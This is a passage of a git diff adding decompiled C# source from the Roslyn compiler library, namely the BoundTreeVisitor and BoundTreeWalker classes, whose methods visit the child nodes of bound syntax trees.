+ { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUnboundLambda(UnboundLambda node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitQueryClause(BoundQueryClause node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitTypeOrInstanceInitializers(BoundTypeOrInstanceInitializers node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitNameOfOperator(BoundNameOfOperator node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitUnconvertedInterpolatedString(BoundUnconvertedInterpolatedString node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitInterpolatedString(BoundInterpolatedString node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitInterpolatedStringHandlerPlaceholder(BoundInterpolatedStringHandlerPlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitInterpolatedStringArgumentPlaceholder(BoundInterpolatedStringArgumentPlaceholder node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitStringInsert(BoundStringInsert node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitIsPatternExpression(BoundIsPatternExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitConstantPattern(BoundConstantPattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDiscardPattern(BoundDiscardPattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDeclarationPattern(BoundDeclarationPattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitRecursivePattern(BoundRecursivePattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitListPattern(BoundListPattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitSlicePattern(BoundSlicePattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitITuplePattern(BoundITuplePattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitPositionalSubpattern(BoundPositionalSubpattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitPropertySubpattern(BoundPropertySubpattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitPropertySubpatternMember(BoundPropertySubpatternMember node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitTypePattern(BoundTypePattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitBinaryPattern(BoundBinaryPattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitNegatedPattern(BoundNegatedPattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitRelationalPattern(BoundRelationalPattern node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDiscardExpression(BoundDiscardExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitThrowExpression(BoundThrowExpression node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitOutVariablePendingInference(OutVariablePendingInference node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitDeconstructionVariablePendingInference(DeconstructionVariablePendingInference node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitOutDeconstructVarPendingInference(OutDeconstructVarPendingInference node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitNonConstructorMethodBody(BoundNonConstructorMethodBody node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitConstructorMethodBody(BoundConstructorMethodBody node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitExpressionWithNullability(BoundExpressionWithNullability node) + { + return DefaultVisit(node); + } + + public virtual BoundNode? VisitWithExpression(BoundWithExpression node) + { + return DefaultVisit(node); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeWalker.cs new file mode 100644 index 0000000..6b47b4c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BoundTreeWalker.cs @@ -0,0 +1,1462 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class BoundTreeWalker : BoundTreeVisitor +{ + public void VisitList(ImmutableArray list) where T : BoundNode + { + if (!list.IsDefault) + { + for (int i = 0; i < list.Length; i++) + { + Visit(list[i]); + } + } + } + + protected void VisitUnoptimizedForm(BoundQueryClause queryClause) + { + BoundExpression boundExpression = queryClause.UnoptimizedForm; + if (boundExpression is BoundQueryClause boundQueryClause) + { + boundExpression = boundQueryClause.Value; + } + if (boundExpression is BoundCall { Method: not null } boundCall) + { + ImmutableArray arguments = boundCall.Arguments; + if (boundCall.Method.Name == "Select") + { + Visit(arguments[arguments.Length - 1]); + } + else if (boundCall.Method.Name == "GroupBy") + { + Visit(arguments[arguments.Length - 2]); + } + } + } + + public override BoundNode? VisitFieldEqualsValue(BoundFieldEqualsValue node) + { + Visit(node.Value); + return null; + } + + public override BoundNode? VisitPropertyEqualsValue(BoundPropertyEqualsValue node) + { + Visit(node.Value); + return null; + } + + public override BoundNode? VisitParameterEqualsValue(BoundParameterEqualsValue node) + { + Visit(node.Value); + return null; + } + + public override BoundNode? VisitGlobalStatementInitializer(BoundGlobalStatementInitializer node) + { + Visit(node.Statement); + return null; + } + + public override BoundNode? VisitValuePlaceholder(BoundValuePlaceholder node) + { + return null; + } + + public override BoundNode? VisitCapturedReceiverPlaceholder(BoundCapturedReceiverPlaceholder node) + { + Visit(node.Receiver); + return null; + } + + public override BoundNode? VisitDeconstructValuePlaceholder(BoundDeconstructValuePlaceholder node) + { + return null; + } + + public override BoundNode? VisitTupleOperandPlaceholder(BoundTupleOperandPlaceholder node) + { + return null; + } + + public override BoundNode? VisitAwaitableValuePlaceholder(BoundAwaitableValuePlaceholder node) + { + return null; + } + + public override BoundNode? VisitDisposableValuePlaceholder(BoundDisposableValuePlaceholder node) + { + return null; + } + + public override BoundNode? VisitObjectOrCollectionValuePlaceholder(BoundObjectOrCollectionValuePlaceholder node) + { + return null; + } + + public override BoundNode? VisitImplicitIndexerValuePlaceholder(BoundImplicitIndexerValuePlaceholder node) + { + return null; + } + + public override BoundNode? VisitImplicitIndexerReceiverPlaceholder(BoundImplicitIndexerReceiverPlaceholder node) + { + return null; + } + + public override BoundNode? VisitListPatternReceiverPlaceholder(BoundListPatternReceiverPlaceholder node) + { + return null; + } + + public override BoundNode? VisitListPatternIndexPlaceholder(BoundListPatternIndexPlaceholder node) + { + return null; + } + + public override BoundNode? VisitSlicePatternReceiverPlaceholder(BoundSlicePatternReceiverPlaceholder node) + { + return null; + } + + public override BoundNode? VisitSlicePatternRangePlaceholder(BoundSlicePatternRangePlaceholder node) + { + return null; + } + + public override BoundNode? VisitDup(BoundDup node) + { + return null; + } + + public override BoundNode? VisitPassByCopy(BoundPassByCopy node) + { + Visit(node.Expression); + return null; + } + + public override BoundNode? VisitBadExpression(BoundBadExpression node) + { + VisitList(node.ChildBoundNodes); + return null; + } + + public override BoundNode? VisitBadStatement(BoundBadStatement node) + { + VisitList(node.ChildBoundNodes); + return null; + } + + public override BoundNode? VisitExtractedFinallyBlock(BoundExtractedFinallyBlock node) + { + Visit(node.FinallyBlock); + return null; + } + + public override BoundNode? VisitTypeExpression(BoundTypeExpression node) + { + Visit(node.BoundContainingTypeOpt); + VisitList(node.BoundDimensionsOpt); + return null; + } + + public override BoundNode? VisitTypeOrValueExpression(BoundTypeOrValueExpression node) + { + return null; + } + + public override BoundNode? VisitNamespaceExpression(BoundNamespaceExpression node) + { + return null; + } + + public override BoundNode? VisitUnaryOperator(BoundUnaryOperator node) + { + Visit(node.Operand); + return null; + } + + public override BoundNode? VisitIncrementOperator(BoundIncrementOperator node) + { + Visit(node.Operand); + return null; + } + + public override BoundNode? VisitAddressOfOperator(BoundAddressOfOperator node) + { + Visit(node.Operand); + return null; + } + + public override BoundNode? VisitUnconvertedAddressOfOperator(BoundUnconvertedAddressOfOperator node) + { + Visit(node.Operand); + return null; + } + + public override BoundNode? VisitFunctionPointerLoad(BoundFunctionPointerLoad node) + { + return null; + } + + public override BoundNode? VisitPointerIndirectionOperator(BoundPointerIndirectionOperator node) + { + Visit(node.Operand); + return null; + } + + public override BoundNode? VisitPointerElementAccess(BoundPointerElementAccess node) + { + Visit(node.Expression); + Visit(node.Index); + return null; + } + + public override BoundNode? VisitFunctionPointerInvocation(BoundFunctionPointerInvocation node) + { + Visit(node.InvokedExpression); + VisitList(node.Arguments); + return null; + } + + public override BoundNode? VisitRefTypeOperator(BoundRefTypeOperator node) + { + Visit(node.Operand); + return null; + } + + public override BoundNode? VisitMakeRefOperator(BoundMakeRefOperator node) + { + Visit(node.Operand); + return null; + } + + public override BoundNode? VisitRefValueOperator(BoundRefValueOperator node) + { + Visit(node.Operand); + return null; + } + + public override BoundNode? VisitFromEndIndexExpression(BoundFromEndIndexExpression node) + { + Visit(node.Operand); + return null; + } + + public override BoundNode? VisitRangeExpression(BoundRangeExpression node) + { + Visit(node.LeftOperandOpt); + Visit(node.RightOperandOpt); + return null; + } + + public override BoundNode? VisitBinaryOperator(BoundBinaryOperator node) + { + Visit(node.Left); + Visit(node.Right); + return null; + } + + public override BoundNode? VisitTupleBinaryOperator(BoundTupleBinaryOperator node) + { + Visit(node.Left); + Visit(node.Right); + return null; + } + + public override BoundNode? VisitUserDefinedConditionalLogicalOperator(BoundUserDefinedConditionalLogicalOperator node) + { + Visit(node.Left); + Visit(node.Right); + return null; + } + + public override BoundNode? VisitCompoundAssignmentOperator(BoundCompoundAssignmentOperator node) + { + Visit(node.Left); + Visit(node.Right); + return null; + } + + public override BoundNode? VisitAssignmentOperator(BoundAssignmentOperator node) + { + Visit(node.Left); + Visit(node.Right); + return null; + } + + public override BoundNode? VisitDeconstructionAssignmentOperator(BoundDeconstructionAssignmentOperator node) + { + Visit(node.Left); + Visit(node.Right); + return null; + } + + public override BoundNode? VisitNullCoalescingOperator(BoundNullCoalescingOperator node) + { + Visit(node.LeftOperand); + Visit(node.RightOperand); + return null; + } + + public override BoundNode? VisitNullCoalescingAssignmentOperator(BoundNullCoalescingAssignmentOperator node) + { + Visit(node.LeftOperand); + Visit(node.RightOperand); + return null; + } + + public override BoundNode? VisitUnconvertedConditionalOperator(BoundUnconvertedConditionalOperator node) + { + Visit(node.Condition); + Visit(node.Consequence); + Visit(node.Alternative); + return null; + } + + public override BoundNode? VisitConditionalOperator(BoundConditionalOperator node) + { + Visit(node.Condition); + Visit(node.Consequence); + Visit(node.Alternative); + return null; + } + + public override BoundNode? VisitArrayAccess(BoundArrayAccess node) + { + Visit(node.Expression); + VisitList(node.Indices); + return null; + } + + public override BoundNode? VisitArrayLength(BoundArrayLength node) + { + Visit(node.Expression); + return null; + } + + public override BoundNode? VisitAwaitableInfo(BoundAwaitableInfo node) + { + Visit(node.AwaitableInstancePlaceholder); + Visit(node.GetAwaiter); + return null; + } + + public override BoundNode? VisitAwaitExpression(BoundAwaitExpression node) + { + Visit(node.Expression); + Visit(node.AwaitableInfo); + return null; + } + + public override BoundNode? VisitTypeOfOperator(BoundTypeOfOperator node) + { + Visit(node.SourceType); + return null; + } + + public override BoundNode? VisitBlockInstrumentation(BoundBlockInstrumentation node) + { + Visit(node.Prologue); + Visit(node.Epilogue); + return null; + } + + public override BoundNode? VisitMethodDefIndex(BoundMethodDefIndex node) + { + return null; + } + + public override BoundNode? VisitLocalId(BoundLocalId node) + { + return null; + } + + public override BoundNode? VisitParameterId(BoundParameterId node) + { + return null; + } + + public override BoundNode? VisitStateMachineInstanceId(BoundStateMachineInstanceId node) + { + return null; + } + + public override BoundNode? VisitMaximumMethodDefIndex(BoundMaximumMethodDefIndex node) + { + return null; + } + + public override BoundNode? VisitInstrumentationPayloadRoot(BoundInstrumentationPayloadRoot node) + { + return null; + } + + public override BoundNode? VisitModuleVersionId(BoundModuleVersionId node) + { + return null; + } + + public override BoundNode? VisitModuleVersionIdString(BoundModuleVersionIdString node) + { + return null; + } + + public override BoundNode? VisitSourceDocumentIndex(BoundSourceDocumentIndex node) + { + return null; + } + + public override BoundNode? VisitMethodInfo(BoundMethodInfo node) + { + return null; + } + + public override BoundNode? VisitFieldInfo(BoundFieldInfo node) + { + return null; + } + + public override BoundNode? VisitDefaultLiteral(BoundDefaultLiteral node) + { + return null; + } + + public override BoundNode? VisitDefaultExpression(BoundDefaultExpression node) + { + return null; + } + + public override BoundNode? VisitIsOperator(BoundIsOperator node) + { + Visit(node.Operand); + Visit(node.TargetType); + return null; + } + + public override BoundNode? VisitAsOperator(BoundAsOperator node) + { + Visit(node.Operand); + Visit(node.TargetType); + return null; + } + + public override BoundNode? VisitSizeOfOperator(BoundSizeOfOperator node) + { + Visit(node.SourceType); + return null; + } + + public override BoundNode? VisitConversion(BoundConversion node) + { + Visit(node.Operand); + return null; + } + + public override BoundNode? VisitReadOnlySpanFromArray(BoundReadOnlySpanFromArray node) + { + Visit(node.Operand); + return null; + } + + public override BoundNode? VisitArgList(BoundArgList node) + { + return null; + } + + public override BoundNode? VisitArgListOperator(BoundArgListOperator node) + { + VisitList(node.Arguments); + return null; + } + + public override BoundNode? VisitFixedLocalCollectionInitializer(BoundFixedLocalCollectionInitializer node) + { + Visit(node.Expression); + return null; + } + + public override BoundNode? VisitSequencePoint(BoundSequencePoint node) + { + Visit(node.StatementOpt); + return null; + } + + public override BoundNode? VisitSequencePointWithSpan(BoundSequencePointWithSpan node) + { + Visit(node.StatementOpt); + return null; + } + + public override BoundNode? VisitSavePreviousSequencePoint(BoundSavePreviousSequencePoint node) + { + return null; + } + + public override BoundNode? VisitRestorePreviousSequencePoint(BoundRestorePreviousSequencePoint node) + { + return null; + } + + public override BoundNode? VisitStepThroughSequencePoint(BoundStepThroughSequencePoint node) + { + return null; + } + + public override BoundNode? VisitBlock(BoundBlock node) + { + Visit(node.Instrumentation); + VisitList(node.Statements); + return null; + } + + public override BoundNode? VisitScope(BoundScope node) + { + VisitList(node.Statements); + return null; + } + + public override BoundNode? VisitStateMachineScope(BoundStateMachineScope node) + { + Visit(node.Statement); + return null; + } + + public override BoundNode? VisitLocalDeclaration(BoundLocalDeclaration node) + { + Visit(node.DeclaredTypeOpt); + Visit(node.InitializerOpt); + VisitList(node.ArgumentsOpt); + return null; + } + + public override BoundNode? VisitMultipleLocalDeclarations(BoundMultipleLocalDeclarations node) + { + VisitList(node.LocalDeclarations); + return null; + } + + public override BoundNode? VisitUsingLocalDeclarations(BoundUsingLocalDeclarations node) + { + Visit(node.AwaitOpt); + VisitList(node.LocalDeclarations); + return null; + } + + public override BoundNode? VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + Visit(node.BlockBody); + Visit(node.ExpressionBody); + return null; + } + + public override BoundNode? VisitNoOpStatement(BoundNoOpStatement node) + { + return null; + } + + public override BoundNode? VisitReturnStatement(BoundReturnStatement node) + { + Visit(node.ExpressionOpt); + return null; + } + + public override BoundNode? VisitYieldReturnStatement(BoundYieldReturnStatement node) + { + Visit(node.Expression); + return null; + } + + public override BoundNode? VisitYieldBreakStatement(BoundYieldBreakStatement node) + { + return null; + } + + public override BoundNode? VisitThrowStatement(BoundThrowStatement node) + { + Visit(node.ExpressionOpt); + return null; + } + + public override BoundNode? VisitExpressionStatement(BoundExpressionStatement node) + { + Visit(node.Expression); + return null; + } + + public override BoundNode? VisitBreakStatement(BoundBreakStatement node) + { + return null; + } + + public override BoundNode? VisitContinueStatement(BoundContinueStatement node) + { + return null; + } + + public override BoundNode? VisitSwitchStatement(BoundSwitchStatement node) + { + Visit(node.Expression); + VisitList(node.SwitchSections); + Visit(node.DefaultLabel); + return null; + } + + public override BoundNode? VisitSwitchDispatch(BoundSwitchDispatch node) + { + Visit(node.Expression); + return null; + } + + public override BoundNode? VisitIfStatement(BoundIfStatement node) + { + Visit(node.Condition); + Visit(node.Consequence); + Visit(node.AlternativeOpt); + return null; + } + + public override BoundNode? VisitDoStatement(BoundDoStatement node) + { + Visit(node.Condition); + Visit(node.Body); + return null; + } + + public override BoundNode? VisitWhileStatement(BoundWhileStatement node) + { + Visit(node.Condition); + Visit(node.Body); + return null; + } + + public override BoundNode? VisitForStatement(BoundForStatement node) + { + Visit(node.Initializer); + Visit(node.Condition); + Visit(node.Increment); + Visit(node.Body); + return null; + } + + public override BoundNode? VisitForEachStatement(BoundForEachStatement node) + { + Visit(node.IterationVariableType); + Visit(node.IterationErrorExpressionOpt); + Visit(node.Expression); + Visit(node.DeconstructionOpt); + Visit(node.AwaitOpt); + Visit(node.Body); + return null; + } + + public override BoundNode? VisitForEachDeconstructStep(BoundForEachDeconstructStep node) + { + Visit(node.DeconstructionAssignment); + Visit(node.TargetPlaceholder); + return null; + } + + public override BoundNode? VisitUsingStatement(BoundUsingStatement node) + { + Visit(node.DeclarationsOpt); + Visit(node.ExpressionOpt); + Visit(node.Body); + Visit(node.AwaitOpt); + return null; + } + + public override BoundNode? VisitFixedStatement(BoundFixedStatement node) + { + Visit(node.Declarations); + Visit(node.Body); + return null; + } + + public override BoundNode? VisitLockStatement(BoundLockStatement node) + { + Visit(node.Argument); + Visit(node.Body); + return null; + } + + public override BoundNode? VisitTryStatement(BoundTryStatement node) + { + Visit(node.TryBlock); + VisitList(node.CatchBlocks); + Visit(node.FinallyBlockOpt); + return null; + } + + public override BoundNode? VisitCatchBlock(BoundCatchBlock node) + { + Visit(node.ExceptionSourceOpt); + Visit(node.ExceptionFilterPrologueOpt); + Visit(node.ExceptionFilterOpt); + Visit(node.Body); + return null; + } + + public override BoundNode? VisitLiteral(BoundLiteral node) + { + return null; + } + + public override BoundNode? VisitUtf8String(BoundUtf8String node) + { + return null; + } + + public override BoundNode? VisitThisReference(BoundThisReference node) + { + return null; + } + + public override BoundNode? VisitPreviousSubmissionReference(BoundPreviousSubmissionReference node) + { + return null; + } + + public override BoundNode? VisitHostObjectMemberReference(BoundHostObjectMemberReference node) + { + return null; + } + + public override BoundNode? VisitBaseReference(BoundBaseReference node) + { + return null; + } + + public override BoundNode? VisitLocal(BoundLocal node) + { + return null; + } + + public override BoundNode? VisitPseudoVariable(BoundPseudoVariable node) + { + return null; + } + + public override BoundNode? VisitRangeVariable(BoundRangeVariable node) + { + Visit(node.Value); + return null; + } + + public override BoundNode? VisitParameter(BoundParameter node) + { + return null; + } + + public override BoundNode? VisitLabelStatement(BoundLabelStatement node) + { + return null; + } + + public override BoundNode? VisitGotoStatement(BoundGotoStatement node) + { + Visit(node.CaseExpressionOpt); + Visit(node.LabelExpressionOpt); + return null; + } + + public override BoundNode? VisitLabeledStatement(BoundLabeledStatement node) + { + Visit(node.Body); + return null; + } + + public override BoundNode? VisitLabel(BoundLabel node) + { + return null; + } + + public override BoundNode? VisitStatementList(BoundStatementList node) + { + VisitList(node.Statements); + return null; + } + + public override BoundNode? VisitConditionalGoto(BoundConditionalGoto node) + { + Visit(node.Condition); + return null; + } + + public override BoundNode? VisitSwitchExpressionArm(BoundSwitchExpressionArm node) + { + Visit(node.Pattern); + Visit(node.WhenClause); + Visit(node.Value); + return null; + } + + public override BoundNode? VisitUnconvertedSwitchExpression(BoundUnconvertedSwitchExpression node) + { + Visit(node.Expression); + VisitList(node.SwitchArms); + return null; + } + + public override BoundNode? VisitConvertedSwitchExpression(BoundConvertedSwitchExpression node) + { + Visit(node.Expression); + VisitList(node.SwitchArms); + return null; + } + + public override BoundNode? VisitDecisionDag(BoundDecisionDag node) + { + Visit(node.RootNode); + return null; + } + + public override BoundNode? VisitEvaluationDecisionDagNode(BoundEvaluationDecisionDagNode node) + { + Visit(node.Evaluation); + Visit(node.Next); + return null; + } + + public override BoundNode? VisitTestDecisionDagNode(BoundTestDecisionDagNode node) + { + Visit(node.Test); + Visit(node.WhenTrue); + Visit(node.WhenFalse); + return null; + } + + public override BoundNode? VisitWhenDecisionDagNode(BoundWhenDecisionDagNode node) + { + Visit(node.WhenExpression); + Visit(node.WhenTrue); + Visit(node.WhenFalse); + return null; + } + + public override BoundNode? VisitLeafDecisionDagNode(BoundLeafDecisionDagNode node) + { + return null; + } + + public override BoundNode? VisitDagTemp(BoundDagTemp node) + { + Visit(node.Source); + return null; + } + + public override BoundNode? VisitDagTypeTest(BoundDagTypeTest node) + { + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagNonNullTest(BoundDagNonNullTest node) + { + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagExplicitNullTest(BoundDagExplicitNullTest node) + { + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagValueTest(BoundDagValueTest node) + { + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagRelationalTest(BoundDagRelationalTest node) + { + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagDeconstructEvaluation(BoundDagDeconstructEvaluation node) + { + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagTypeEvaluation(BoundDagTypeEvaluation node) + { + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagFieldEvaluation(BoundDagFieldEvaluation node) + { + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagPropertyEvaluation(BoundDagPropertyEvaluation node) + { + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagIndexEvaluation(BoundDagIndexEvaluation node) + { + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagIndexerEvaluation(BoundDagIndexerEvaluation node) + { + Visit(node.LengthTemp); + Visit(node.IndexerAccess); + Visit(node.ReceiverPlaceholder); + Visit(node.ArgumentPlaceholder); + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagSliceEvaluation(BoundDagSliceEvaluation node) + { + Visit(node.LengthTemp); + Visit(node.IndexerAccess); + Visit(node.ReceiverPlaceholder); + Visit(node.ArgumentPlaceholder); + Visit(node.Input); + return null; + } + + public override BoundNode? VisitDagAssignmentEvaluation(BoundDagAssignmentEvaluation node) + { + Visit(node.Target); + Visit(node.Input); + return null; + } + + public override BoundNode? VisitSwitchSection(BoundSwitchSection node) + { + VisitList(node.SwitchLabels); + VisitList(node.Statements); + return null; + } + + public override BoundNode? VisitSwitchLabel(BoundSwitchLabel node) + { + Visit(node.Pattern); + Visit(node.WhenClause); + return null; + } + + public override BoundNode? VisitSequencePointExpression(BoundSequencePointExpression node) + { + Visit(node.Expression); + return null; + } + + public override BoundNode? VisitSequence(BoundSequence node) + { + VisitList(node.SideEffects); + Visit(node.Value); + return null; + } + + public override BoundNode? VisitSpillSequence(BoundSpillSequence node) + { + VisitList(node.SideEffects); + Visit(node.Value); + return null; + } + + public override BoundNode? VisitDynamicMemberAccess(BoundDynamicMemberAccess node) + { + Visit(node.Receiver); + return null; + } + + public override BoundNode? VisitDynamicInvocation(BoundDynamicInvocation node) + { + Visit(node.Expression); + VisitList(node.Arguments); + return null; + } + + public override BoundNode? VisitConditionalAccess(BoundConditionalAccess node) + { + Visit(node.Receiver); + Visit(node.AccessExpression); + return null; + } + + public override BoundNode? VisitLoweredConditionalAccess(BoundLoweredConditionalAccess node) + { + Visit(node.Receiver); + Visit(node.WhenNotNull); + Visit(node.WhenNullOpt); + return null; + } + + public override BoundNode? VisitConditionalReceiver(BoundConditionalReceiver node) + { + return null; + } + + public override BoundNode? VisitComplexConditionalReceiver(BoundComplexConditionalReceiver node) + { + Visit(node.ValueTypeReceiver); + Visit(node.ReferenceTypeReceiver); + return null; + } + + public override BoundNode? VisitMethodGroup(BoundMethodGroup node) + { + Visit(node.ReceiverOpt); + return null; + } + + public override BoundNode? VisitPropertyGroup(BoundPropertyGroup node) + { + Visit(node.ReceiverOpt); + return null; + } + + public override BoundNode? VisitCall(BoundCall node) + { + Visit(node.ReceiverOpt); + VisitList(node.Arguments); + return null; + } + + public override BoundNode? VisitEventAssignmentOperator(BoundEventAssignmentOperator node) + { + Visit(node.ReceiverOpt); + Visit(node.Argument); + return null; + } + + public override BoundNode? VisitAttribute(BoundAttribute node) + { + VisitList(node.ConstructorArguments); + VisitList(node.NamedArguments); + return null; + } + + public override BoundNode? VisitUnconvertedObjectCreationExpression(BoundUnconvertedObjectCreationExpression node) + { + VisitList(node.Arguments); + return null; + } + + public override BoundNode? VisitObjectCreationExpression(BoundObjectCreationExpression node) + { + VisitList(node.Arguments); + Visit(node.InitializerExpressionOpt); + return null; + } + + public override BoundNode? VisitUnconvertedCollectionExpression(BoundUnconvertedCollectionExpression node) + { + VisitList(node.Elements); + return null; + } + + public override BoundNode? VisitCollectionExpression(BoundCollectionExpression node) + { + VisitList(node.Elements); + return null; + } + + public override BoundNode? VisitCollectionExpressionSpreadExpressionPlaceholder(BoundCollectionExpressionSpreadExpressionPlaceholder node) + { + return null; + } + + public override BoundNode? VisitCollectionExpressionSpreadElement(BoundCollectionExpressionSpreadElement node) + { + Visit(node.Expression); + return null; + } + + public override BoundNode? VisitTupleLiteral(BoundTupleLiteral node) + { + VisitList(node.Arguments); + return null; + } + + public override BoundNode? VisitConvertedTupleLiteral(BoundConvertedTupleLiteral node) + { + VisitList(node.Arguments); + return null; + } + + public override BoundNode? VisitDynamicObjectCreationExpression(BoundDynamicObjectCreationExpression node) + { + VisitList(node.Arguments); + Visit(node.InitializerExpressionOpt); + return null; + } + + public override BoundNode? VisitNoPiaObjectCreationExpression(BoundNoPiaObjectCreationExpression node) + { + Visit(node.InitializerExpressionOpt); + return null; + } + + public override BoundNode? VisitObjectInitializerExpression(BoundObjectInitializerExpression node) + { + Visit(node.Placeholder); + VisitList(node.Initializers); + return null; + } + + public override BoundNode? VisitObjectInitializerMember(BoundObjectInitializerMember node) + { + VisitList(node.Arguments); + return null; + } + + public override BoundNode? VisitDynamicObjectInitializerMember(BoundDynamicObjectInitializerMember node) + { + return null; + } + + public override BoundNode? VisitCollectionInitializerExpression(BoundCollectionInitializerExpression node) + { + Visit(node.Placeholder); + VisitList(node.Initializers); + return null; + } + + public override BoundNode? VisitCollectionElementInitializer(BoundCollectionElementInitializer node) + { + VisitList(node.Arguments); + Visit(node.ImplicitReceiverOpt); + return null; + } + + public override BoundNode? VisitDynamicCollectionElementInitializer(BoundDynamicCollectionElementInitializer node) + { + Visit(node.Expression); + VisitList(node.Arguments); + return null; + } + + public override BoundNode? VisitImplicitReceiver(BoundImplicitReceiver node) + { + return null; + } + + public override BoundNode? VisitAnonymousObjectCreationExpression(BoundAnonymousObjectCreationExpression node) + { + VisitList(node.Arguments); + VisitList(node.Declarations); + return null; + } + + public override BoundNode? VisitAnonymousPropertyDeclaration(BoundAnonymousPropertyDeclaration node) + { + return null; + } + + public override BoundNode? VisitNewT(BoundNewT node) + { + Visit(node.InitializerExpressionOpt); + return null; + } + + public override BoundNode? VisitDelegateCreationExpression(BoundDelegateCreationExpression node) + { + Visit(node.Argument); + return null; + } + + public override BoundNode? VisitArrayCreation(BoundArrayCreation node) + { + VisitList(node.Bounds); + Visit(node.InitializerOpt); + return null; + } + + public override BoundNode? VisitArrayInitialization(BoundArrayInitialization node) + { + VisitList(node.Initializers); + return null; + } + + public override BoundNode? VisitStackAllocArrayCreation(BoundStackAllocArrayCreation node) + { + Visit(node.Count); + Visit(node.InitializerOpt); + return null; + } + + public override BoundNode? VisitConvertedStackAllocExpression(BoundConvertedStackAllocExpression node) + { + Visit(node.Count); + Visit(node.InitializerOpt); + return null; + } + + public override BoundNode? VisitFieldAccess(BoundFieldAccess node) + { + Visit(node.ReceiverOpt); + return null; + } + + public override BoundNode? VisitHoistedFieldAccess(BoundHoistedFieldAccess node) + { + return null; + } + + public override BoundNode? VisitPropertyAccess(BoundPropertyAccess node) + { + Visit(node.ReceiverOpt); + return null; + } + + public override BoundNode? VisitEventAccess(BoundEventAccess node) + { + Visit(node.ReceiverOpt); + return null; + } + + public override BoundNode? VisitIndexerAccess(BoundIndexerAccess node) + { + Visit(node.ReceiverOpt); + VisitList(node.Arguments); + return null; + } + + public override BoundNode? VisitImplicitIndexerAccess(BoundImplicitIndexerAccess node) + { + Visit(node.Receiver); + Visit(node.Argument); + return null; + } + + public override BoundNode? VisitInlineArrayAccess(BoundInlineArrayAccess node) + { + Visit(node.Expression); + Visit(node.Argument); + return null; + } + + public override BoundNode? VisitDynamicIndexerAccess(BoundDynamicIndexerAccess node) + { + Visit(node.Receiver); + VisitList(node.Arguments); + return null; + } + + public override BoundNode? VisitLambda(BoundLambda node) + { + Visit(node.Body); + return null; + } + + public override BoundNode? VisitUnboundLambda(UnboundLambda node) + { + return null; + } + + public override BoundNode? VisitQueryClause(BoundQueryClause node) + { + Visit(node.Value); + return null; + } + + public override BoundNode? VisitTypeOrInstanceInitializers(BoundTypeOrInstanceInitializers node) + { + VisitList(node.Statements); + return null; + } + + public override BoundNode? VisitNameOfOperator(BoundNameOfOperator node) + { + Visit(node.Argument); + return null; + } + + public override BoundNode? VisitUnconvertedInterpolatedString(BoundUnconvertedInterpolatedString node) + { + VisitList(node.Parts); + return null; + } + + public override BoundNode? VisitInterpolatedString(BoundInterpolatedString node) + { + VisitList(node.Parts); + return null; + } + + public override BoundNode? VisitInterpolatedStringHandlerPlaceholder(BoundInterpolatedStringHandlerPlaceholder node) + { + return null; + } + + public override BoundNode? VisitInterpolatedStringArgumentPlaceholder(BoundInterpolatedStringArgumentPlaceholder node) + { + return null; + } + + public override BoundNode? VisitStringInsert(BoundStringInsert node) + { + Visit(node.Value); + Visit(node.Alignment); + Visit(node.Format); + return null; + } + + public override BoundNode? VisitIsPatternExpression(BoundIsPatternExpression node) + { + Visit(node.Expression); + Visit(node.Pattern); + return null; + } + + public override BoundNode? VisitConstantPattern(BoundConstantPattern node) + { + Visit(node.Value); + return null; + } + + public override BoundNode? VisitDiscardPattern(BoundDiscardPattern node) + { + return null; + } + + public override BoundNode? VisitDeclarationPattern(BoundDeclarationPattern node) + { + Visit(node.DeclaredType); + Visit(node.VariableAccess); + return null; + } + + 